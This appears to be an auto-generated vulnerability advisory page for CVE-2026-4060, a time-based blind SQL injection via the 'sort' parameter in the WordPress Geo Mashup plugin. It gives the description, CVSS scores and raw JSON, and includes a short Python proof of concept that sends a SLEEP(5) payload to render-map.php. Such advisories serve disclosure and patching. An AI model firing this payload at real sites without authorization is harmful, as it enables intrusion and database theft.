Security Vulnerability Report
中文
CVE-2026-4060 CVSS 7.5 HIGH

CVE-2026-4060

Published: 2026-05-02 12:16:15
Last Modified: 2026-05-05 19:15:34

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective in the `ORDER BY` context because the value is not enclosed in quotes. Additionally, while a `sanitize_sort_arg()` allowlist-based sanitizer was added in version 1.13.18, it is only applied in the AJAX code path (`sanitize_query_args()`) and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Geo Mashup 插件 <= 1.13.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-4060: Time-Based SQL Injection in Geo Mashup import requests import time def check_vulnerability(target_url): # The vulnerable endpoint is usually render-map.php or a map loading endpoint # The 'sort' parameter is vulnerable payload = "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)" params = { 'sort': payload } try: print(f"[*] Sending payload to {target_url}...") start_time = time.time() response = requests.get(target_url, params=params, timeout=10) end_time = time.time() elapsed = end_time - start_time if elapsed >= 5: print(f"[+] Vulnerability confirmed! Response took {elapsed:.2f} seconds.") else: print(f"[-] Vulnerability not detected. Response took {elapsed:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Example usage: replace with actual target target = "http://example.com/wp-content/plugins/geo-mashup/render-map.php" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4060", "sourceIdentifier": "[email protected]", "published": "2026-05-02T12:16:15.430", "lastModified": "2026-05-05T19:15:34.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective in the `ORDER BY` context because the value is not enclosed in quotes. Additionally, while a `sanitize_sort_arg()` allowlist-based sanitizer was added in version 1.13.18, it is only applied in the AJAX code path (`sanitize_query_args()`) and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1767", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1785", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/render-map.php#L166", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3503627/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve", "source": "[email protected]"}]}}